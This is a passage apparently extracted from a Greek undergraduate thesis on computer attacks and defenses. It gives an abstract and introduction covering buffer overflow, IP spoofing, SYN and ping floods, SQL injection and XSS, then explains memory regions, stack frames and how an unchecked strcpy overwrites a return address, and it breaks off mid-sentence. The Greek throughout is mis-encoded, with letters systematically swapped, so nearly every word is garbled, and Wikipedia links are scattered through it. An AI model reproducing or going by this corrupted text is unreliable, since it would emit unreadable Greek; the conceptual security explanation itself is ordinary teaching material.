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Περίιευε 

 

Σηα πιαίζηα ηεο παξνύζαο πηπρηαθήο εξγαζίαο γίλεηαη κειέηε δηαθόξσλ κνξθώλ 

επηζέζεσλ πνπ κπνξεί λα δερζεί έλα ππνινγηζηηθό ζύζηεκα αιιά θαη νξηζκέλσλ 

κνξθώλ άκπλαο πνπ είλαη δπλαηόλ λα αλαπηπρζνύλ,  πξνθεηκέλνπ λα πξνζηαηεπζεί ην 

ζύζηεκα από ηελ εθάζηνηε κνξθή επίζεζεο. Παξάιιεια πεξηγξάθνληαηαλαιπηηθά 

νξηζκέλα ζελάξηα κε ζθνπό λα δνζεί κηα πην ζθαηξηθή άπνςεηόζν όζνλ αθνξάηνλ 

ηξόπν αληίδξαζεο ελόο ζπζηήκαηνοθαηά ηελ δηαδηθαζία πνπ ηίζεηαη ζε εθαξκνγή 

κηααπό ηηο κνξθέο επίζεζεο πνπ αλαθέξνληαη, όζν θαη ηη ζπκβαίλεη όηαλ ηίζεηαη ζε 

εθαξκνγή ν κεραληζκόο άκπλαο πνπ έρεη επηιεγεί γηα ηελ πξνζηαζία ηνπ ζπζηήκαηνο 

από ηελ θαθόβνπιή επίζεζε. 

Σην πξώην κέξνο  επνκέλσο πεξηγξάθνληαη ηέζζεξηο κνξθέο επηζέζεσλ έλαληη ελόο 

ππνινγηζηηθνύ ζπζηήκαηνο. Πξώηα αλαθέξνληαη νηbufferoverflow επηζέζεηο, όπνπ ν 

θαθόβνπινο ρξήζηεο κέζσ ηεο παξέκβαζεο ζηε κλήκε απνζθνπεί ζηελ αιιαγή ηεο 

πξνθαζνξηζκέλεο ιεηηνπξγίαο ηνπ πξνγξάκκαηνο πνπ εθηειείηαη ζηε κλήκε. Έπεηηα 

πεξηγξάθνληαη νη επηζέζεηο άξλεζεο εμππεξέηεζεο κε εθηελή πεξηγξαθή νξηζκέλσλ 

ηερληθώλ, όπσο είλαη εηερληθήηνπIPspoofing, ηνπSynFlood θαη ην PingFlood. Δλ 

ζπλερεία γίλεηαη πεξηγξαθή ηεο επίζεζεο δειεηεξίαζεο ηνπ SQLθώδηθα θαη ηέινο 

αλαιύνληαη νη XSSεπηζέζεηο 

Σηε ζπλέρεηα έρνπκε ην  δεύηεξν κέξνο ζην νπνίν αλαιύνληαη νη κνξθέο άκπλαο πνπ 

αλαπηύζζνληαη ζηα πιαίζηα ελόο ζπζηήκαηνο γηα ηηο πξναλαθεξζείζεο κνξθέο 

επίζεζεο. Αξρηθά επηζεκαίλνληαη νη ηξόπνη άκπλαο απέλαληη ζε BufferOverflow 

επηζέζεηο θαη παξνπζηάδεηαη αλαιπηηθά νη ελέξγεηεο πνπ θάλεη ν developer ελόο 

ινγηζκηθνύ κε ζηόρν ηελ αληηκεηώπηζε BufferOverflow επηζέζεσλ, αιιά θαη ηηο ελέξγεηεο 

πνπ πξέπεη λα θάλεη ην ιεηηνπξγηθό ζύζηεκα. Έπεηηα  αλαιύεηαη ν ηξόπνο κε ηνλ νπνίν 

αληηκεησπίδεηαη ην Spoofing, νη επηζέζεηο pingofdeath θαζώο θαη νη επηζέζεηο PingFlood. 

Όπσο είλαη θπζηθό αθνινπζεί ν ηξόπνο κε ηνλ νπνίν  απνηξέπνληαη νη επηζέζεηο 

SQLinjection, αλαθέξνληαο δύν θαηεγνξίεο άκπλαο. Πξώηα πεξηγξάθνληαη νη 

πξσηαξρηθέο κνξθέο άκπλαο, νη νπνίεο απνηεινύλ ηελ ζεκαληηθόηεξε κνξθή άκπλαο 

απέλαληη ζηηο επηζέζεηο SQLinjection. Δλώ ζηε ζπλέρεηα πεξηγξάθεηαη νη δεύηεξεο 

κνξθέο άκπλαο, νη επηπξόζζεηεο κνξθέο άκπλαο πνπ είλαη ζπκπιεξσκαηηθνί ηξόπνη 

άκπλαο γηα ηελ ελίζρπζε ηεο άκπλαο κηαο εθαξκνγήο. Τν θεθάιαην απηό θιείλεη κε ηελ 

πεξηγξαθή ηεο θσδηθνπνίεζεο θαη ηεο επηθύξσζεο πνπ γίλεηαη γηα ηελ πξνθύιαμε ηνπ 

ζπζηήκαηνο από XSS επηζέζεηο. 
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Αθνινπζεί έλα ζεκαληηθό θεθάιαην ζην νπνίν παξέρεηε κηα νινθιεξσκέλε εηθόλα κέζσ 

ζπγθεθξηκέλσλ ζελαξίσλ επίζεζεο. Σηελ νπζία πεξηγξάθεηε ν ηξόπνο κε ηνλ νπνίν 

γίλεηαη ε επίζεζε από ηελ πιεπξά ηνπ επηηηζέκελνπ αιιά θαη ε άκπλα έλαληηζηελ 

εθάζηνηε κνξθή επίζεζεο πνπ επηιέγεηαη γηα ηελ πξνζηαζία ηνπ ππνινγηζηηθνύ 

ζπζηήκαηνο. 

Τέινο γίλεηαη πεξηγξαθή ελόο ιεηηνπξγηθνύ ζπζηήκαηνο, ην νπνίν πξνζθέξεη έηνηκα 

εξγαιεία γηα ηελ εθηέιεζε δηαδηθηπαθώλ επηζέζεσλ ζε επάισηα ζπζηήκαηα. 

Δπηπξόζζεηα πεξηγξάθεηαη ν ηξόπνο εθηέιεζεο θαθόβνπισλ επηζέζεσλ, κε ηε ρξήζε 

έηνηκσλ εξγαιείσλ, πνπ πξνθέξεη ην OS. 
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1 ΔΙΣΑΓΨΓΗ 

 

Τν Γηαδίθηπν ζρεδηάζηεθε αξρηθά κε βάζε ην κνληέιν κηα νκάδαο ρξεζηώλ κε ακνηβαία 

εκπηζηνζύλε, νη νπνίνη ήηαλ ζπλδεδεκέλνη ζε έλα δηαθαλέο δίθηπν, έλα κνληέιν ζην 

νπνίν δελ απαηηείηαη αζθάιεηα. Ψο εθ ηνύηνπ πνιιά ζηνηρεία ηεο αξρηθήο αξρηηεθηνληθήο 

ηνπ Γηαδηθηύνπ θαηαδεηθλύνπλ απηήλ ηελ έλλνηα ηεο ακνηβαίαο εκπηζηνζύλεο. Γηα 

παξάδεηγκα, ε δπλαηόηεηα λα ζηέιλεη έλαο ρξήζηεο  έλα παθέην ζε έλα άιινλ ρξήζηε 

είλαη κηα πξνεπηιεγκέλε θαη όρη κηα αηηνύκελε ή κηα εθρσξεκέλε δπλαηόηεηα θαη ε 

ηαπηόηεηα ηνπ ρξήζηε ιακβάλεηαη εμ νξηζκνύ σο πξαγκαηηθή αληί λα ρξεηάδεηαη λα 

επαιεζεπηεί. Με ηελ πάξνδν όκσο ηνπ ρξόλνπ ην Γηαδίθηπν αλαπηύρζεθε θαη έρεη γίλεη 

έλα θξίζηκν ζπζηαηηθό ηεο ιεηηνπξγίαο πνιιώλ ηδξπκάησλ όπσο παλεπηζηήκηα, 

θπβεξλεηηθέο ππεξεζίεο θαζώο θαη επηρεηξήζεηο. Παξάιιεια πνιιά άηνκα βαζίδνληαη 

ζε απηό γηα πνιιέο από ηηο θνηλσληθέο, πξνζσπηθέο αιιά θαη επαγγεικαηηθέο ηνπο 

δξαζηεξηόηεηεο. Δπνκέλσο ην ζεκεξηλό Γηαδίθηπν ζαθώο θαη δελ πεξηιακβάλεη 

―ρξήζηεο κε ακνηβαία εκπηζηνζύλε‖κε απνηέιεζκα λα γίλεη ην Γηαδίθηπν κηα αλαζθαιήο 

ηνπνζεζία. 

Η πξνζηαζία ηεο πιεξνθνξίαο, ησλ ππνινγηζηηθώλ θαη δηθηπαθώλ ζπζηεκάησλ, 

απνηειεί ζήκεξα, έλα ζεκαληηθό θεθάιαην γηα νπνηαδήπνηε επηρείξεζε ή νξγαληζκό, 

είηε δεκόζηνπ είηε ηδησηηθνύ ραξαθηήξα. Σθνπόο είλαη ε πξνζηαζία όισλ εθείλσλ ησλ 

θξίζηκσλ πιεξνθνξηώλ θαη ππνδνκώλ, όπνπ ζα ηηο επηηξέςεη λα δηαηεξήζνπλ έλα 

αληαγσληζηηθό πιενλέθηεκα, ζε κία πεξίνδν, όπνπ ε εμάξηεζε από ηελ πιεξνθνξία θαη 

ην δηαδίθηπν, ζπλερώο απμάλνληαη. Ο ηνκέαο ηεο αζθάιεηαο ηνπ δηθηύνπ αθνξά ζην πσο 

νη ―θαθνί‖ επηηίζεληαη ζηα δίθηπα ππνινγηζηώλ θαη πσο νη ρξήζηεο ζα πξνζηαηεπηνύλ 

από απηέο ηηο επηζέζεηο ζρεδηάδνληαο αθόκα θαη λέεο αξρηηεθηνληθέο θάλνληαο ηα δίθηπα 

απξόζβιεηα από ηηο δηάθνξεο κνξθέο επηζέζεσλ. 

Σηελ παξνύζα πηπρηαθή εξγαζία αξρηθά από ηε κηα πιεπξά ζα πεξηγξάςνπκε ηξείο 

δηαθνξεηηθέο κνξθέο επηζέζεσλ. Αξρηθά ζηηο bufferoverflow επηζέζεηο όπνπ ν 

θαθόβνπινο ρξήζηεο κέζσ ηεο παξέκβαζεο ζηε κλήκε απνζθνπεί ζηελ αιιαγή ηεο 

πξνθαζνξηζκέλεο ιεηηνπξγίαο ηνπ πξνγξάκκαηνο πνπ ηξέρεη ζηε κλήκε. Δλ ζπλερεία 

πεξηγξάθνληαη νη επηζέζεηο άξλεζεο εμππεξέηεζεο κε εθηελή πεξηγξαθή νξηζκέλσλ 

ηερληθώλ. Γειαδήηεληερληθήηνπ IP spoofing, ηνπ Syn FloodSyn Flooding – IP Spoofing 

PingFlood PingFlood. Τέινο ε ηξίηε κνξθή επίζεζεο πνπ αλαπηύζζεηαη ζηα πιαίζηα ηεο 

εξγαζίαο είλαη  νη επηζέζεηο δειεηεξίαζεο SQL θώδηθα. 
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Από ηελ άιιε πιεπξά ζην επόκελν θεθάιαην γίλεηαη αλαθνξά ζην πσο ζα κπνξέζεη ην 

ζύζηεκα λα πξνζηαηεπηεί από ηεο κνξθέο επίζεζεο πνπ πεξηγξάθνληαη ζην θεθάιαην 

2. Πην ζπγθεθξηκέλα  αξρηθά επηζεκαίλνληαη νη ηξόπνη άκπλαο απέλαληη ζε 

BufferOverflow επηζέζεηο θαη παξνπζηάδεηαη αλαιπηηθά νη ελέξγεηεο πνπ θάλεη ν 

developer ελόο ινγηζκηθνύ κε ζηόρν ηελ αληηκεηώπηζε BufferOverflow επηζέζεσλ, αιιά 

θαη ηηο ελέξγεηεο πνπ πξέπεη λα θάλεη ην ιεηηνπξγηθό ζύζηεκα. Έπεηηααλαιύεηαη ν 

ηξόπνο κε ηνλ νπνίν αληηκεησπίδεηαη ην Spoofing, νη επηζέζεηο pingofdeath θαζώο θαη νη 

επηζέζεηο PingFlood. Όπσο είλαη θπζηθό αθνινπζεί ν κε ηνλ νπνίν  απνηξέπνληαη νη 

επηζέζεηο SQL , αλαθέξνληαο δύν ηύπνπο άκπλαο. Πξώηα πεξηγξάθνληαη νη 

πξσηαξρηθέο κνξθέο άκπλαο, νη νπνίεο απνηεινύλ ηελ ζεκαληηθόηεξε κνξθή άκπλαο 

απέλαληη ζηηο επηζέζεηο SQLinjection. Δλώ ζηε ζπλέρεηα πεξηγξάθεηαη νη 

δεύηεξεοκνξθέο άκπλαο, νη επηπξόζζεηεο κνξθέο άκπλαο πνπ είλαη ζπκπιεξσκαηηθνί 

ηξόπνη άκπλαο γηα ηελ ελίζρπζε ηεο άκπλαο κηαο εθαξκνγήο. Τν θεθάιαην απηό θιείλεη 

κε ηελ πεξηγξαθή ηεο θσδηθνπνίεζεο θαη ηεο επηθύξσζεο πνπ γίλεηαη γηα ηελ 

πξνθύιαμε από XSS επηζέζεηο. 

Αθνινπζεί ην θεθάιαην 4 ζην νπνίν κέζσ ζπγθεθξηκέλσλ ζελαξίσλ δίλεηαη κηα εηθόλα 

γηα πώο αληηδξά έλα ζύζηεκα όηαλ δέρεηαη επίζεζε από έλα ζπγθεθξηκέλν ηύπν 

επίζεζήο θαη πώο ακύλεηαη ζηελ εθάζηνηε κνξθή επίζεζεο. Τέινο ζην πέκπην θεθάιαην 

κε ηελ ρξήζε ζπγθεθξηκέσλ εξγαιείσλ ηνπ ιεηηνπξγηθνύ ζπζηιεκαηνο KaliLinux γίλεηε η 

πξαθηηθή εθαξκνγή νξηζκέλσλ επηζέζεσλ. 

 

 

 

Πηγή: http://www.slideshare.net/ 
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2 ΜΟΡΦΔ΢ ΔΠΙΘΔ΢Η΢ 

2.1 BUFFEROVERFLOW 

Σηελ αζθάιεηα ησλ ππνινγηζηώλ θαη ηνπ πξνγξακκαηηζκνύ , έλα bufferoverflow ή 

buffer σπέρβαζε , είλαη κηα αλσκαιία όπνπ έλα πξόγξακκα , ελώ γξάθεη δεδνκέλα ζε 

έλα buffer , ππεξβαίλεη ηα όξηα ηνπ buffer ζηε κλήκε πνπ έρεη δεζκεύζεη θαη αληηθαζηζηά 

ηα δεδνκέλα γεηηνληθώλ δηεπζύλζεσλ ζηε κλήκε. Απηή είλαη κηα εηδηθή πεξίπησζε 

παξαβίαζεο ηεο αζθάιεηαο κλήκεο . 

Υπεξρείιηζε ηεο κλήκεο κπνξεί λα πξνθιεζεί από ηηο εηζόδνπο πνπ δίλνπλ νη ρξήζηεο 

είηε γηα ηελ εθηέιεζε ελόο θνκκάηη θώδηθα, είηε γηα ηελ ηξνπνπνίεζε ηνπ ηξόπνπ 

ιεηηνπξγίαο ηνπ πξνγξάκκαηνο. Απηό κπνξεί λα νδεγήζεη ζε αθαλόληζηε ζπκπεξηθνξά 

ηνπ πξνγξάκκαηνο, ζπκπεξηιακβαλνκέλνπ ηεο κλήκεο ζθαικάησλ πξόζβαζεο, 

ιαλζαζκέλα απνηειέζκαηα, ηνλ αλώκαιν ηεξκαηηζκό κηαο δηαδηθαζίαο , ή ηεο 

παξαβίαζεο ηεο αζθάιεηαο ηνπ ζπζηήκαηνο. Τέινο, είλαη ε βάζε πνιιώλ επάισησλ 

ζεκείσλ ελόο ινγηζκηθνύ, ην νπνίν κπνξεί λα αμηνπνηεζεί θαθόβνπια. 

Οξηζκέλεο γιώζζεο πξνγξακκαηηζκνύ πνπ ζπλδένληαη ζπλήζσο κε ππεξρεηιίζεηο ηεο 

κλήκεο, είλαη εC θαη ε C++. Οη γιώζζεο απηέο δελ παξέρνπλ θακία ελζσκαησκέλε 

πξνζηαζία ελαληίσλ ηεο πξόζβαζεο ή ηεο αληηθαηάζηαζεο δεδνκέλσλ ζε νπνηνδήπνηε 

κέξνο ηεο κλήκεο θαζώο δελ ειέγρεηαη απηόκαηα αλ ηα δεδνκέλα ελόο buffer, ηα νπνία 

γξάθνληαη ζε κηα ζέζε ηεο κλήκεο είλαη εληόο ησλ νξίσλ απηνύ ή όρη. Η έιιεηςε ηνπ 

παξαπάλσ ηύπνπ ειέγρνπ θαζηζηά επάισην έλα πξόγξακκα ζε bufferoverflow 

επηζέζεηο. 

Παξαθάησ παξνπζηάδεηαη ε δνκή ηεο κλήκεο ελόο ππνινγηζηή, ε δνκή ηεο ζηνίβαο, θαη 

ζηε ζπλέρεηα γίλεηαη πεξηγξαθή ηνπ ηξόπνπ εθηέιεζεο ελόο πξνγξάκκαηνο. Έπεηηα 

γίλεηαη πεξηγξαθή ηεο βαζηθήο BufferOverflow επίζεζεο θαη παξνπζηάδνληαη 

ελαιιαθηηθέο κνξθέο από BufferOverflowattacks.  

 

http://en.wikipedia.org/wiki/Computer_security
http://en.wikipedia.org/wiki/Computer_programming
http://en.wikipedia.org/wiki/Anomaly_in_software
http://en.wikipedia.org/wiki/Computer_program
http://en.wikipedia.org/wiki/Data
http://en.wikipedia.org/wiki/Buffer_(computer_science)
http://en.wikipedia.org/wiki/Memory_safety
http://en.wikipedia.org/wiki/Memory
http://en.wikipedia.org/wiki/Vulnerability_(computer_science)
http://en.wikipedia.org/wiki/Vulnerability_(computer_science)
http://en.wikipedia.org/wiki/Vulnerability_(computer_science)
http://en.wikipedia.org/wiki/Exploit_(computer_security)
http://en.wikipedia.org/wiki/Programming_language
http://en.wikipedia.org/wiki/C_(programming_language)
http://en.wikipedia.org/wiki/C%2B%2B
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2.1.1 Σετληθή Περηγραθή 

 

Γηα λα κπνξέζεη λα γίλεη δπλαηή ε θαηαλνεηή ηνπ πσο γίλνληαη ηα BufferOverflows, 

πξέπεη πξώηα λα θαηαιάβνπκε ηε βαζηθή ιεηηνπξγία ηεο νξγάλσζεο ηεο κλήκεο ηνπ 

ππνινγηζηή θαηά ηε δηάξθεηα εθηέιεζεο ελόο πξνγξάκκαηνο. 

 

Γοκή Μλήκες 

Όηαλ έλα πξόγξακκα θνξηώλεηαη ζηε κλήκε θαη εθηειείηαη, ζηελ νπζία κεηαηξέπεηαη ζε 

κία δηεξγαζία θαη δεζκεύεηαη ρώξνο ζηε κλήκε κε ηε παξαθάησ κνξθή. 

 

 

  

● Data region 

Η πεξηνρή Data πεξηέρεη αξρηθνπνηεκέλεο θαζνιηθέο θαη ζηαηηθέο κεηαβιεηέο πνπ 

ρξεζηκνπνηνύληαη από έλα πξόγξακκα. Η πεξηνρή απηή δηαρσξίδεηαη ζε 

αξρηθνπνηεκέλε read-only πεξηνρή θαη ζε αξρηθνπνηεκέλε read-write πεξηνρή, πνπ 

ρξεζηκνπνηείηαη από ηεο ζηαζεξέο κεηαβιεηέο. 
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● BSS region 

Η BSS πεξηνρή ρξεζηκνπνηείηαη γηα ηελ απνζήθεπζε ησλ κε αξρηθνπνηεκέλσλ 

κεηαβιεηώλ θαη πεξηιακβάλεη όιεο ηηο θαζνιηθέο θαη ζηαηηθέο κεηαβιεηέο πνπ 

αξρηθνπνηνύληαη κε ην κεδέλ ή δελ έρνπλ θαλ αξρηθή ηηκή. 

  

● Text ή Code region 

Σην textregion πεξηέρεηαη ν θώδηθαο ηνπ πξνγξάκκαηνο. Απηή ε πεξηνρή είλαη read-only 

θαη ηπρόλ πξνζπάζεηα εγγξαθήο ζε απηήλ, ζα πξνθαιέζεη κε νκαιό ηεξκαηηζκό ηνπ 

πξνγξάκκαηνο. 

  

● Stack region 

Πξόθεηηαη γηα ηνλ ρώξν πνπ απνζεθεύνληαη όιεο νη ηνπηθέο κεηαβιεηέο πνπ 

ρξεζηκνπνηνύληαη από ηηο ζπλαξηήζεηο ηνπ πξνγξάκκαηνο. Η ζηνίβα ιεηηνπξγεί κε ηε 

κέζνδν LIFO, δειαδή ηα δεδνκέλα πνπ εηζέξρνληαη ηειεπηαία, είλαη ηα πξώηα πνπ ζα 

θύγνπλ. Δπηπξόζζεηα, ζηε ζηνίβα πνπ θξαηνύληαη πιεξνθνξίεο ζρεηηθά κε ηηο ελεξγέο 

ππνξνπηίλεο ελόο πξνγξάκκαηνο. 

 

● Heap region 

Η πεξηνρή ηνπ heap είλαη ε πεξηνρή κλήκεο πνπ επηηξέπεη ηε δέζκεπζε δπλακηθήο 

κλήκεο ζε κία νληόηεηα θαηά ηε δηάξθεηα εθηέιεζεο ηνπ πξνγξάκκαηνο. Η ηδηόηεηα απηή 

ηνπ heap είλαη εμαηξεηηθά ρξήζηκε, ζε πεξηπηώζεηο πνπ δελ κπνξεί λα πξνβιεθζεί εμ' 

αξρήο ην κέγεζνο ηνπ ρώξνπ πνπ ζα ρξεηαζηεί.   

 

Γοκή ΢ηοίβας 

Μηα ζηνίβα θιήζεσλ απνηειείηαη από πιαίζηα ζηνίβαο (stackframes), γλσζηά θαη σο 

εγγξαθέοδξαζηεξηνπνίεζεο (activationrecords). Απηά είλαη δνκέο δεδνκέλσλ 

αλεμάξηεηεο από ηελαξρηηεθηνληθή ηνπ ππνινγηζηή πνπ πεξηιακβάλνπλ πιεξνθνξίεο 

ζρεηηθά κε ηελ θαηάζηαζε ησλππνξνπηίλσλ. Κάζε πιαίζην ζηνίβαο αληηζηνηρεί ζε κηα 

θιήζε ζε κηα ππνξνπηίλα πνπ δελ έρεηαθόκα επηζηξέςεη. 

http://el.wikipedia.org/wiki/%CE%A5%CF%80%CE%BF%CF%81%CE%BF%CF%85%CF%84%CE%AF%CE%BD%CE%B1
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Τν πιαίζην ζηνίβαο ζηελ θνξπθή ηεο ζηνίβαο αληηζηνηρεί ζηε ξνπηίλα πνπ εθηειείηαη 

απηήλ ηε ζηηγκή. Σηελ πην θνηλή πεξίπησζε ην πιαίζην ζηνίβαο πεξηέρεη: 

 

● Φώξν γηα ηηο ηνπηθέο κεηαβιεηέο ηεο ξνπηίλαο 

● Τε δηεύζπλζε ηεο βάζεο ηνπ πξνεγνύκελνπ frame 

● Τε δηεύζπλζε επηζηξνθήο πίζσ ζηνλ θώδηθα πνπ θάιεζε ηε ξνπηίλα 

● Τηο  ηηκέο ησλ παξακέηξσλ πνπ δόζεθαλ σο είζνδν ζηε ξνπηίλα 

 

 

 

 

H πξόζβαζε ζηε ζηνίβα ζπρλά γίλεηαη κέζσ ελόο θαηαρσξεηή πνπ νλνκάδεηαη δείθηες 

ζηοίβας (stackpointer), ν νπνίνο θαη επίζεο ρξεζηκνπνηείηαη γηα λα δείρλεη ηελ θνξπθή 

ηεο ζηνίβαο. Δλαιιαθηηθά, ε κλήκε κέζα ζην πιαίζην κπνξεί λα πξνζπειαζηεί κέζσ 

ελόο μερσξηζηνύ θαηαρσξεηή, πνπ ζπρλά νλνκάδεηαη δείθηες πιαηζίοσ 

(framepointer), ν νπνίνο ζπλήζσο δείρλεη ζε κηα ζηαζεξή ζέζε ζηε δνκή ηνπ πιαηζίνπ, 

όπσο ε ζέζε ηεο δηεύζπλζεο επηζηξνθήο. 

Τα πιαίζηα ζηνίβαο δελ έρνπλ πάληα ην ίδην κέγεζνο. Γηαθνξεηηθέο ππνξνπηίλεο έρνπλ 

δηαθνξεηηθό αξηζκό παξακέηξσλ, επνκέλσο κέξνο ηνπ πιαηζίνπ ζηνίβαο ζα είλαη 

δηαθνξεηηθό γηα δηαθνξεηηθέο ππνξνπηίλεο, αλ θαη ζπλήζσο ζηαζεξό γηα όιεο ηηο 

ελεξγνπνηήζεηο κηαο ζπγθεθξηκέλεο ππνξνπηίλαο. Όκνηα, ν ρώξνο πνπ ρξεηάδεηαη γηα ηηο 

ηνπηθέο κεηαβιεηέο ζα είλαη δηαθνξεηηθόο γηα δηαθνξεηηθέο ππνξνπηίλεο. Σηελ 
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πξαγκαηηθόηεηα, θάπνηεο γιώζζεο επηηξέπνπλ ηε δπλακηθή δέζκεπζε κλήκεο γηα 

ηνπηθέο κεηαβιεηέο ζηε ζηνίβα, πεξίπησζε ζηελ νπνία ην κέγεζνο ηνπ ρώξνπ γηα ηηο 

ηνπηθέο κεηαβιεηέο ζα δηαθέξεη από ελεξγνπνίεζε ζε ελεξγνπνίεζε κηαο ππνξνπηίλαο, 

θαη δελ είλαη γλσζηό όηαλ ε ππνξνπηίλα κεηαγισηηίδεηαη. Σηελ ηειεπηαία απηή 

πεξίπησζε, ζπλήζσο ρξεηάδεηαη πξόζβαζε κέζσ ελόο δείθηε πιαηζίνπ θαη όρη δείθηε 

ζηνίβαο, επεηδή νη ζρεηηθέο ζέζεηο ησλ ηηκώλ (όπσο ε δηεύζπλζε επηζηξνθήο) από ηελ 

θνξπθή δελ είλαη γλσζηέο ζην ρξόλν κεηαγιώηηηζεο. 

 

Περηγραθή Δθηέιεζες Προγράκκαηος 

Σηελ ππνξνπηίλα πνπ θιήζεθε, ν πξώηνο θώδηθαο πνπ θαιείηαη ιέγεηαη ζπλήζσο ν 

πξόινγνο ππνξνπηίλαο, επεηδή θάλεη όιεο ηηο απαξαίηεηεο πξάμεηο πξηλ αξρίζεη ε 

εθηέιεζε ηνπ θώδηθα ησλ εληνιώλ ηεο ππνξνπηίλαο. 

Ο πξόινγνο ζπλήζσο απνζεθεύεη ηε δηεύζπλζε επηζηξνθήο πνπ είρε κείλεη ζηνλ 

θαηαρσξεηή από ηελ εληνιή θιήζεο, ζπξώρλνληαο ηελ ηηκή ηεο ζηε ζηνίβα. Όκνηα, ν 

ηξέρσλ δείθηεο ζηνίβαο θαη/ή ν δείθηεο πιαηζίνπ κπνξεί λα απνζεθεπηνύλ ζηε ζηνίβα. 

Δλαιιαθηηθά, θάπνηεο αξρηηεθηνληθέο παξέρνπλ απηόκαηα ηέηνηεο ιεηηνπξγίεο ζαλ κέξνο 

ηεο ίδηαο ηεο εληνιήο θιήζεο, θαη ζε απηέο ηηο πεξηπηώζεηο ν πξόινγνο δε ρξεηάδεηαη λα 

θάλεη απηέο ηηο ελέξγεηεο. 

Αλ ρξεζηκνπνηνύληαη δείθηεο πιαηζίσλ, ν πξόινγνο ζπλήζσο ζα ζέζεη ηε λέα ηηκή ηνπ 

δείθηε πιαηζίνπ από ην δείθηε ζηνίβαο. Μπνξεί ηόηε λα δεζκεπηεί ρώξνο ζηε ζηνίβα γηα 

ηηο ηνπηθέο κεηαβιεηέο απμάλνληαο ην δείθηε ζηνίβαο. 

Όηαλ κηα ππνξνπηίλα είλαη έηνηκε λα επηζηξέςεη, εθηειεί έλαλ επίινγν πνπ αλαηξεί ηηο 

ελέξγεηεο ηνπ πξνιόγνπ. Σπλήζσο επαλαθέξεη απνζεθεπκέλεο ηηκέο ησλ θαηαρσξεηώλ 

(όπσο ε ηηκή ηνπ δείθηε πιαηζίνπ) από ην πιαίζην ζηνίβαο, ζα αθαηξέζεη όιν ην πιαίζην 

ζηνίβαο από ηε ζηνίβα αιιάδνληαο ηελ ηηκή ηνπ δείθηε ζηνίβαο θαη ζην ηέινο ζα θάλεη 

άικα ζηελ εληνιή ζηε δηεύζπλζε επηζηξνθήο, ε δηεύζπλζε ηεο νπνίαο βξίζθεηαη ζηε 

returnaddress. Κάησ από πνιιέο ζπκβάζεηο θιήζεο απηά πνπ αθαηξνύληαη από ηελ 

θνξπθή ηεο ζηνίβαο πεξηιακβάλνπλ ηηο αξρηθέο ηηκέο ησλ νξηζκάησλ, επνκέλσο δε 

ρξεηάδεηαη λα γίλνπλ άιιεο ελέξγεηεο ζηε ζηνίβα από ηνλ θώδηθα πνπ έθαλε ηελ θιήζε. 

Σε θάπνηεο ζπκβάζεηο θιήζεο όκσο, είλαη ππνρξέσζε ηνπ θώδηθα πνπ θαιεί λα 

αθαηξέζεη ηα νξίζκαηα από ηε ζηνίβα πξηλ ηελ επηζηξνθή. 

 

http://el.wikipedia.org/wiki/%CE%9C%CE%B5%CF%84%CE%B1%CE%B3%CE%BB%CF%89%CF%84%CF%84%CE%B9%CF%83%CF%84%CE%AE%CF%82
http://el.wikipedia.org/w/index.php?title=%CE%A0%CF%81%CF%8C%CE%BB%CE%BF%CE%B3%CE%BF%CF%82_%CF%85%CF%80%CE%BF%CF%81%CE%BF%CF%85%CF%84%CE%AF%CE%BD%CE%B1%CF%82&action=edit&redlink=1
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2.1.2 BufferOverflow Δπίζεζε 

 

Τα B.O. είλαη απνηέιεζκα πξνγξακκαηηζηηθώλ ζηνίρσλ. Σπκβαίλνπλ όηαλ 

απνζεθεύνληαη δεδνκέλα ζε έλα buffer κε κηθξόηεξν κέγεζνο από απηό πνπ ρξεηάδνληαη 

ηα δεδνκέλα.  

Θα γίλεη πεξηγξαθή ηεο BufferOverflow επίζεζεο, κε ηε βνήζεηα ηνπ πξνγξάκκαηνο ηεο 

παξαπάλσ εηθόλαο. 

Σην παξαπάλσ πξόγξακκα παξαηεξνύκε όηη ε ξνπηίλα main δεκηνπξγεί έλα πίλαθα 

από 256 ραξαθηήξεο, ηνλ νπνίνλ δίλεη σο είζνδν ζηε θιήζε ηεο ξνπηίλαο function. Η 

ξνπηίλα function ζα πξνζπαζήζεη λα αληηγξάςεη ηα πεξηερόκελα ηνπ πίλαθα πνπ 

δέρζεθε σο είζνδν από ηε main ζηνλ ηνπηθό ηεο πίλαθα buffer, κέζσ ηεο ζπλάξηεζεο 

strcpy. Η strcpy είλαη κηα ζπλάξηεζε ηεο C, ε νπνία θάλεη αληηγξαθεί δεδνκέλσλ από 

ηελ πεγή ζηνλ πξννξηζκό, ρσξίο λα ειέγμεη αλ ην κέγεζνο ηνπ πξννξηζκνύ ππνζηεξίδεη 

απηήλ ηελ ελέξγεηα. Δπνκέλσο, δεδνκέλνπ όηη ν πίλαθαο πεγήο(str) έρεη δεδνκέλα 

κεγέζνπο 256 Byte, ελώ ν πίλαθαο πξννξηζκνύ(buffer) έρεη δεζκεύζεη ρώξν γηα κόιηο 

16 ραξαθηήξεο, ζα γίλεη bufferoverflow. Δπεηδή ν πίλαθαο buffer απνηειεί κηα ηνπηθή 

κεηαβιεηή ηεο function θαη ν ρώξνο ηεο έρεη δεζκεπηεί ζηαηηθά, επνκέλσο ε δέζκεπζε 

ηνπ γίλεηαη ζην stackframe ηεο function. 

Λόγσ ηεο ππεξρείιηζεο ηεο κλήκεο, ε αληηγξαθή ησλ δεδνκέλσλ κέζσ ηεο strcpy, ζα 

ηξνπνπνηήζεη ηηο γεηηνληθέο δηεπζύλζεηο ηεο κλήκεο. Όπσο θαίλεηαη θαη ζηελ εηθόλα 

2,κεηά ηα 16 πξώηα byte, ηα νπνία ζα βξίζθνληαη κέζα ζηα όξηα ηνπ buffer, ε αληηγξαθή 

ησλ δεδνκέλσλ μεπεξλάεη ην ρώξν ησλ Localvariables(ε buffer ήηαλ ε κνλαδηθή ηνπηθή 

κεηαβιεηή ηεο function) θαη ζα ζπλερίζεη λα θάλεη override ηα δεδνκέλα ηεο 

previousbasepointer θαη ελ ηέιεη ηεο returnaddress. 

Hreturnaddress, όπσο αλαθέξζεθε ζηε πξνεγνύκελε ελόηεηα, πεξηέρεη ηε δηεύζπλζε 

ζηελ νπνία ζα ζπλερίζεη ηελ εθηέιεζε ηνπ ην πξόγξακκα, όηαλ ηεξκαηίζεη ε ηξέρνλ 

ξνπηίλα. Δπνκέλσο αλ ηα πεξηερόκελα ηεο returnaddress γεκίζνπλ κε «ζθνππίδηα», ηόηε 

ην πξόγξακκα ζα ηεξκαηίζεη αλώκαια. Ψζηόζν, ν ζηόρνο ελόο επηηηζέκελνπ ζα είλαη λα 

